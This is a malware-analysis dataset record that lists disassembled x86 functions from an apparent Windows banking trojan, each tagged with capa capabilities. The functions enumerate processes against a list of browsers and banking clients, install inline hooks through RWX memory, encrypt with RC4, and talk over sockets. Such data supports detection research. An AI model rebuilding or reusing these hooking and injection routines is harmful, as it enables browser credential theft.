joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10015600
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, 4
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x20119
push 0
push str.softwaremicrosoft
mov dword [ebp - 8], 0
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb eax, eax
neg eax
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1001567a
call fcn.10003600
test eax, eax
mov eax, 0x1005be4c
jne 0x10015657
mov eax, 0x1005bf50
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 8]
push edx
mov edx, dword [ebp - 4]
lea ecx, [ebp - 0x10]
push ecx
push 0
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
test eax, eax
jne 0x10015690
call fcn.10003600
neg eax
sbb eax, eax
and eax, 0xffffffd8
add eax, 0x2d
mov esp, ebp
pop ebp
ret
Function at 0x10017220
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
push 0
push 0
push 0x100167d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10017263
lea eax, [ebp - 4]
push eax
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10017263
test byte [ebp - 4], 2
jne 0x10017263
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]

Function at 0x10017300
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push ebx
push esi
push edi
xor edi, edi
push edi
push 2
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 8], esi
test esi, esi
je 0x1001741c
lea eax, [ebp - 0x130]
push eax
push esi
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x100173f9
mov ebx, dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea ecx, [ecx]
cmp dword [ebp - 0x128], 0
je 0x100173e3
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x128], eax
je 0x100173e3
lea ecx, [ebp - 0x10c]
push ecx
push str.iexplore.exeopera.exejava.exejavaw.exeexplorer.exeisclient.exeintpro.exeipc_full.exemnp.execbsmain.dllfirefox.execlmain.execore.exemaxthon.exeavant.exesafari.exesvchost.exechrome.exenotepad.exerundll32.exenetscape.exetbb_firefox.exefrd.exe
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x10017390
mov eax, dword [ebp - 0x128]
call fcn.10024450
test eax, eax
je 0x100173e3
mov edi, dword [ebp - 0x128]
push 0x1004fb80
call ebx
push 0x10
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x100173d2
xor eax, eax
mov dword [esi], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
push edi
mov dword [esi + 4], edi
call fcn.10024550
mov edx, dword [ebp - 4]
mov dword [esi + 8], eax
mov dword [esi], edx
mov dword [ebp - 4], esi
push 0x1004fb80
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, dword [ebp - 4]
mov esi, dword [ebp - 8]
lea eax, [ebp - 0x130]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x10017350
lea ecx, [ebp - 4]
push ecx
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001741c
test byte [ebp - 4], 2
jne 0x1001741c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10017c10
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, dword [ebp + 0xc]
test edx, edx
jle 0x10017ca3
mov ecx, dword [ebp + 8]
push ebx
sub ecx, esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
jmp 0x10017c34
mov ecx, dword [ebp - 0xc]
movzx ecx, byte [ecx + esi]
mov byte [ebp - 1], cl
mov cl, byte [eax + 0x100]
movzx edi, cl
movzx edx, byte [edi + eax]
add edi, eax
mov byte [ebp + 0xf], dl
mov dl, byte [eax + 0x101]
add dl, byte [ebp + 0xf]
mov dword [ebp - 0x10], edi
movzx edi, dl
mov bl, byte [edi + eax]
add edi, eax
mov dword [ebp - 0x14], edi
mov edi, dword [ebp - 0x10]
mov byte [edi], bl
mov edi, dword [ebp - 0x14]
mov byte [ebp + 0xb], bl
movzx ebx, byte [ebp + 0xf]
mov byte [edi], bl
movzx ebx, byte [ebp + 0xf]
movzx edi, byte [ebp + 0xb]
add edi, ebx
mov bl, byte [ebp - 1]
and edi, 0xff
xor bl, byte [edi + eax]
inc cl
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
mov byte [esi], bl
inc esi
dec dword [ebp - 8]
jne 0x10017c31
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 8

Function at 0x10017cd0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
cmp dword [esi + 0x34], 0
je 0x10017da7
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov eax, dword [esi + 0xc]
mov ecx, eax
and ecx, 0x800000ff
push edi
mov dword [esi + 0x34], 0
mov byte [ebp - 0x24], 3
jns 0x10017d1b
dec ecx
or ecx, 0xffffff00
inc ecx
cdq
and edx, 0xff
add eax, edx
sar eax, 8
mov byte [ebp - 0x1b], al
mov eax, dword [esi + 8]
mov edx, eax
and edx, 0x800000ff
mov byte [ebp - 0x1c], cl
jns 0x10017d42
dec edx
or edx, 0xffffff00
inc edx
mov byte [ebp - 0x1a], dl
cdq
and edx, 0xff
add eax, edx
sar eax, 8
push 0
mov byte [ebp - 0x19], al
mov eax, dword [esi]
push 0
push eax
call dword [sym.imp.MSVCRT.dll_fseek]
mov ecx, dword [esi]
mov edi, dword [sym.imp.MSVCRT.dll_fwrite]
push ecx
push 1
lea edx, [ebp - 0x24]
push 0x20
push edx
call edi
mov eax, dword [esi]
mov ecx, dword [esi + 0x10]
mov edx, dword [esi + 0x24]
push eax
push ecx
push 0x20
push edx
call edi
mov eax, dword [esi + 0x10]
inc eax
shl eax, 5
add esp, 0x2c
cmp dword [esi + 0xc], eax
jle 0x10017da6
mov ecx, dword [esi]
push ecx
push 1
lea edx, [ebp - 1]
push 1
push edx
mov byte [ebp - 1], 0xd
call edi
add esp, 0x10
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x10017db0
Capabilities:
Write file on windows

Disassembly:
cmp dword [esi + 0x2c], 0
je 0x10017df0
mov eax, dword [esi + 0x28]
cmp eax, 0xffffffff
jle 0x10017df0
mov ecx, dword [esi + 8]
mov edx, dword [esi]
imul ecx, eax
add ecx, dword [esi + 0xc]
push 0
push ecx
push edx
mov dword [esi + 0x2c], 0
call dword [sym.imp.MSVCRT.dll_fseek]
mov eax, dword [esi]
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0x30]
push eax
push 1
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x1c
ret
Function at 0x100181f0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, eax
cmp dword [esi + 0x34], 0
push edi
je 0x10018206
call fcn.10017cd0
cmp dword [esi + 0x2c], 0
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
mov ebx, dword [sym.imp.MSVCRT.dll_fwrite]
je 0x1001824a
mov eax, dword [esi + 0x28]
cmp eax, 0xffffffff
jle 0x1001824a
mov ecx, dword [esi + 8]
mov edx, dword [esi]
imul ecx, eax
add ecx, dword [esi + 0xc]
push 0
push ecx
push edx
mov dword [esi + 0x2c], 0
call edi
mov eax, dword [esi]
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0x30]
push eax
push 1
push ecx
push edx
call ebx
add esp, 0x1c
cmp dword [esi + 0x38], 0
je 0x10018304
mov eax, dword [esi]
push 0
push 0
push eax
call edi
mov ecx, dword [esi]
push ecx
push 1
lea edx, [ebp - 0x20]
push 0x20
push edx
call dword [sym.imp.MSVCRT.dll_fread]
mov ecx, dword [esi + 4]
mov eax, ecx
and eax, 0x800000ff
mov word [ebp - 0x1f], 0x75f
mov byte [ebp - 0x1d], 0x1a
jns 0x1001828b
dec eax
or eax, 0xffffff00
inc eax
mov byte [ebp - 0x1c], al
mov eax, ecx
cdq
and edx, 0xff
add eax, edx
sar eax, 8
and eax, 0x800000ff
jns 0x100182aa
dec eax
or eax, 0xffffff00
inc eax
mov byte [ebp - 0x1b], al
mov eax, ecx
cdq
and edx, 0xffff
add eax, edx
sar eax, 0x10
and eax, 0x800000ff
jns 0x100182c9
dec eax
or eax, 0xffffff00
inc eax
mov byte [ebp - 0x1a], al
mov eax, ecx
cdq
and edx, 0xffffff
add eax, edx
sar eax, 0x18
and eax, 0x800000ff
jns 0x100182e8
dec eax
or eax, 0xffffff00
inc eax
mov ecx, dword [esi]
push 0
push 0
push ecx
mov byte [ebp - 0x19], al
call edi
mov edx, dword [esi]
push edx
push 1
lea eax, [ebp - 0x20]
push 0x20
push eax
call ebx
add esp, 0x38
mov ecx, dword [esi]
push ecx
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esi + 0x14]
mov edi, dword [sym.imp.MSVCRT.dll_free]
xor ebx, ebx
add esp, 4
cmp eax, ebx
je 0x10018337
push eax
call edi
mov edx, dword [esi + 0x18]
push edx
call edi
mov eax, dword [esi + 0x1c]
push eax
call edi
mov ecx, dword [esi + 0x20]
push ecx
call edi
add esp, 0x10
mov edx, dword [esi + 0x24]
push edx
call edi
mov eax, dword [esi + 0x30]
push eax
call edi
push esi
call edi
mov eax, dword [0x1005a038]
add esp, 0xc
cmp eax, ebx
je 0x10018364
push eax
call edi
add esp, 4
mov dword [0x1005a038], ebx
mov dword [0x1005a034], ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10018370
Capabilities:
Read file on windows

Disassembly:
push esi
push edi
mov edi, eax
mov esi, ecx
test edi, edi
js 0x10018472
cmp edi, dword [esi + 4]
jge 0x10018472
cmp dword [esi + 0x10], 2
jle 0x10018472
cmp dword [esi + 0x28], edi
je 0x100183dd
call fcn.10017db0
mov eax, dword [esi + 8]
imul eax, edi
add eax, dword [esi + 0xc]
push 0
push eax
mov eax, dword [esi]
push eax
call dword [sym.imp.MSVCRT.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x10018472
mov ecx, dword [esi]
mov edx, dword [esi + 8]
mov eax, dword [esi + 0x30]
push ecx
push 1
push edx
push eax
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x10
cmp eax, 1
jne 0x10018472
mov dword [esi + 0x28], edi
mov ecx, dword [esi + 0x18]
mov eax, dword [ecx + 8]
mov edi, dword [esi + 0x30]
lea edx, [eax + 1]
cmp edx, dword [0x1005a034]
jle 0x1001840a
lea ecx, [eax + eax + 0xa]
mov eax, dword [0x1005a038]
mov dword [0x1005a034], ecx
call fcn.10017cb0
mov dword [0x1005a038], eax
mov eax, dword [esi + 0x18]
mov ecx, dword [eax + 8]
mov edx, dword [esi + 0x14]
mov eax, dword [edx + 8]
push ecx
mov ecx, dword [0x1005a038]
add eax, edi
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_strncpy]
mov edx, dword [esi + 0x18]
mov eax, dword [0x1005a038]
mov ecx, dword [edx + 8]
mov byte [eax + ecx], 0
add esp, 0xc
cmp byte [eax], 0x20
mov esi, eax
mov ecx, eax
jne 0x10018448
inc esi
cmp byte [esi], 0x20
je 0x10018442
mov dl, byte [esi]
test dl, dl
je 0x1001845b
sub esi, eax
mov byte [ecx], dl
mov dl, byte [esi + ecx + 1]
inc ecx
test dl, dl
jne 0x10018450
mov byte [ecx], 0
cmp ecx, eax
je 0x10018474
dec ecx
cmp byte [ecx], 0x20
jne 0x10018474
mov byte [ecx], 0
cmp ecx, eax
jne 0x10018462
pop edi
pop esi
ret
xor eax, eax
pop edi
pop esi
ret
Function at 0x100194b0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
cmp byte [0x1005a050], 0
jne 0x100194c8
xor al, al
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_send]
push edi
push 0
push 2
push 0x10049df4
push esi
call ebx
mov edx, 0x100
lea ecx, [ebp - 0x104]
call fcn.10019390
mov edi, dword [sym.imp.WS2_32.dll_recv]
push 0
push 2
lea eax, [ebp - 0x104]
push eax
push esi
call edi
mov al, byte [ebp - 0x103]
mov byte [ebp - 1], al
test al, al
je 0x100195c8
cmp byte [ebp - 0x104], 1
jne 0x100195c8
push 0
movsx ecx, al
push ecx
lea edx, [ebp - 0x104]
push edx
push esi
call edi
test eax, eax
jle 0x100195c8
movsx eax, byte [ebp - 1]
mov cl, byte [0x1005a051]
push 0
push 1
lea edx, [ebp - 1]
push edx
push esi
mov byte [ebp + eax - 0x103], cl
call edi
test eax, eax
jle 0x100195c8
mov edx, 0x100
lea ecx, [ebp - 0x204]
call fcn.10019390
movsx eax, byte [ebp - 1]
push 0
push eax
lea ecx, [ebp - 0x204]
push ecx
push esi
call edi
test eax, eax
jle 0x1001958b
movsx edx, byte [ebp - 1]
mov al, byte [0x1005a051]
mov byte [ebp + edx - 0x204], al
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
lea ecx, [ebp - 0x104]
push ecx
push 0x1004fca8
call edi
test eax, eax
jne 0x100195c8
lea edx, [ebp - 0x204]
push edx
push 0x1004fba0
call edi
test eax, eax
jne 0x100195c8
push eax
push 2
push 0x10049df8
push esi
call ebx
pop edi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10019b00
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, 4
test eax, eax
jne 0x10019b77
lea eax, [ebp - 4]
push eax
push 0x101
push 0
push str.softwaremicrosoft
push 0x80000001
mov dword [ebp - 0x10], edi
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], edi
call esi
test eax, eax
jne 0x10019b6c
lea ecx, [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x10]
push eax
push 0
push 0x1005a5ec
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp eax, dword [ebp - 8]
sbb eax, eax
neg eax
jne 0x10019bcf
lea ecx, [ebp - 8]
push ecx
push 0x101
push 0
push str.softwaremicrosoft
push 0x80000002
mov dword [ebp - 0xc], edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], edi
call esi
test eax, eax
jne 0x10019bc6
lea edx, [ebp - 0x10]
push edx
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0xc]
push ecx
push 0
push 0x1005a5ec
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ecx, ecx
cmp ecx, dword [ebp - 4]
sbb eax, eax
neg eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10019be0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb esi, esi
neg esi
add esi, 0x80000001
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0x102
push 0
push str.softwaremicrosoft
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop esi
test eax, eax
jne 0x10019c4a
mov edx, dword [ebp - 4]
push 4
lea ecx, [ebp - 8]
push ecx
push 4
push eax
push 0x1005a5ec
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x10019e50
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004adb8
push 0x10044940
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [ebp - 0x2c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
rdtsc
xor ecx, eax
mov dword [ebp - 0x1c], ecx
lea eax, [ebp - 0x20]
push eax
push 0x40
push 8
mov ecx, dword [ebp + 0xc]
push ecx
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call esi
test eax, eax
je 0x1001a021
cmp dword [ebp - 0x20], 0
je 0x1001a021
push 0x40
push 0x3000
push 0x12
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x1001a011
mov dword [ebp - 0x28], edi
lea edx, [ebp - 0x24]
push edx
push 0x40
push 0x12
push edi
call esi
mov ebx, eax
neg ebx
sbb ebx, ebx
and ebx, dword [ebp - 0x24]
lea esi, [edi + 4]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
call edi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0x68
push eax
push esi
call edi
inc esi
mov eax, dword [ebp - 0x1c]
xor eax, dword [ebp + 8]
push eax
push esi
call edi
add esi, 4
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0x9c
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0x81
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0x74
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0x24
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 4
push eax
push esi
call edi
inc esi
mov ecx, dword [ebp - 0x1c]
push ecx
push esi
call edi
add esi, 4
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0x9d
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0xc2
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 4
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
push eax
push esi
call edi
lea edx, [ebp + 8]
push edx
push ebx
push 0x12
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 2
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov dword [ebp - 4], 0
pushal
mov esi, dword [ebp + 0xc]
mov eax, dword ds:[esi]
mov edx, dword ds:[esi + 4]
mov ebx, 0x25ff9055
mov ecx, dword [ebp - 0x28]
lock cmpxchg8b qword ds:[esi]
popal
jmp 0x10019ff3
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x20]
push edx
push 8
mov eax, dword [ebp + 0xc]
push eax
call esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1001a040
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, dword [ebp + 8]
push esi
xor esi, esi
push edi
mov edi, ebx
test ebx, ebx
je 0x1001a193
mov edx, edi
call fcn.1001a390
add esi, eax
add edi, eax
cmp esi, 8
jb 0x1001a058
push 0x40
push 0x3000
add esi, 8
push esi
push 0
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x1001a193
xor esi, esi
lea ebx, [ebx]
mov edx, ebx
call fcn.1001a390
push eax
lea ecx, [edi + esi]
push ebx
push ecx
mov dword [ebp - 8], eax
call sub.MSVCRT.dll_memcpy
mov al, byte [edi + esi]
add esp, 0xc
cmp al, 0xe8
je 0x1001a0b3
cmp al, 0xe9
jne 0x1001a0bd
mov ecx, ebx
sub ecx, edi
sub ecx, esi
add dword [edi + esi + 1], ecx
cmp al, 0xeb
jne 0x1001a0e9
mov dl, byte [edi + esi + 1]
add dl, bl
add dl, 2
movzx eax, dl
mov ecx, ebx
and ecx, 0xffffff00
add eax, ecx
sub eax, edi
sub eax, esi
sub eax, 5
mov byte [edi + esi], 0xe9
mov dword [edi + esi + 1], eax
add esi, 3
movzx edx, byte [edi + esi]
movzx eax, byte [edi + esi + 1]
shl dx, 8
or dx, ax
mov ecx, 0xfff0
and dx, cx
mov eax, 0xf80
cmp dx, ax
jne 0x1001a115
mov ecx, ebx
sub ecx, edi
sub ecx, esi
add dword [edi + esi + 2], ecx
mov eax, dword [ebp - 8]
add esi, eax
add ebx, eax
cmp esi, 8
jb 0x1001a090
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 0x10]
lea eax, [ebp - 4]
push eax
push 0x40
push ecx
push edi
mov dword [edx], edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1001a193
mov ebx, dword [ebp + 8]
lea edx, [ebp - 4]
push edx
push 0x40
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1001a193
add edi, esi
push edi
lea eax, [esi + ebx]
push eax
call fcn.10019e50
mov ecx, dword [ebp + 0xc]
push ebx
push ecx
call fcn.10019e50
mov eax, dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea edx, [ebp - 0x10]
push edx
push eax
push esi
push ebx
call edi
mov edx, dword [ebp - 4]
lea ecx, [ebp - 0x10]
push ecx
push edx
push esi
push ebx
call edi
test eax, eax
je 0x1001a193
mov edi, ebx
call fcn.1001a1b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x1001a240
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
mov eax, 0x1004fda8
push 0
push 0
mov dword [0x1004fdac], eax
mov dword [0x1004fda8], eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0
push 0
push 0
push 0x1001a2b0
push 0
push 0
mov dword [0x1004fca4], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1001a2a3
lea eax, [ebp - 4]
push eax
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001a2a3
test byte [ebp - 4], 2
jne 0x1001a2a3
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1001aac0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push 0x118
lea eax, [ebp - 0x11c]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x120]
push ecx
mov dword [0x1004fdb0], 0
mov dword [ebp - 0x120], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x1001ac02
mov eax, 2
cmp dword [ebp - 0x110], eax
jne 0x1001ac02
mov cl, byte [ebp - 6]
cmp cl, 1
jne 0x1001ab66
mov ecx, dword [ebp - 0x11c]
cmp ecx, 5
jne 0x1001ab46
mov ecx, dword [ebp - 0x118]
test ecx, ecx
jne 0x1001ab3b
lea eax, [ecx + 1]
jmp 0x1001abaa
cmp ecx, 1
je 0x1001abaa
cmp ecx, eax
jne 0x1001aba5
jmp 0x1001abaa
cmp ecx, 6
jne 0x1001aba5
mov eax, dword [ebp - 0x118]
test eax, eax
jne 0x1001ab5a
lea eax, [ecx - 2]
jmp 0x1001abaa
cmp eax, 1
jne 0x1001aba5
mov eax, 6
jmp 0x1001abaa
cmp cl, al
je 0x1001ab6f
cmp cl, 3
jne 0x1001aba5
mov ecx, dword [ebp - 0x11c]
cmp ecx, 5
jne 0x1001ab87
cmp dword [ebp - 0x118], eax
jne 0x1001aba5
lea eax, [ecx - 2]
jmp 0x1001abaa
cmp ecx, 6
jne 0x1001aba5
mov eax, dword [ebp - 0x118]
test eax, eax
jne 0x1001ab9b
lea eax, [ecx - 1]
jmp 0x1001abaa
cmp eax, 1
mov eax, 7
je 0x1001abaa
mov eax, dword [0x1004fdb0]
lea edx, [eax + eax*4]
movzx eax, word [ebp - 0xc]
lea eax, [eax + edx*2]
lea ecx, [eax + eax*4]
add ecx, ecx
push str.kernel32.dll
mov dword [0x1004fdb0], ecx
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x1001abf6
push esi
push str.IsWow64Process
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x1001abf5
lea edx, [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
pop esi
cmp dword [ebp - 4], 0
je 0x1001ac02
inc dword [0x1004fdb0]
mov esp, ebp
pop ebp
ret

Function at 0x1001ac10
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
xor eax, eax
jmp 0x1001ac20
mov cl, byte [eax + 0x10059d68]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x1001ac20
push 0x1005c058
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005c058
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1001ac44
push esi
push edi
lea edi, [ebp - 0x104]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001ac56
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0x104]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
pop edi
pop esi
cmp eax, 0x10
jne 0x1001acc3
lea eax, [ebp - 0x104]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001ac90
mov ecx, dword [str.pass.log]
mov edx, dword [0x10049c80]
mov dword [eax], ecx
mov cl, byte [0x10049c84]
mov dword [eax + 4], edx
lea edx, [ebp - 0x104]
push edx
mov byte [eax + 8], cl
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret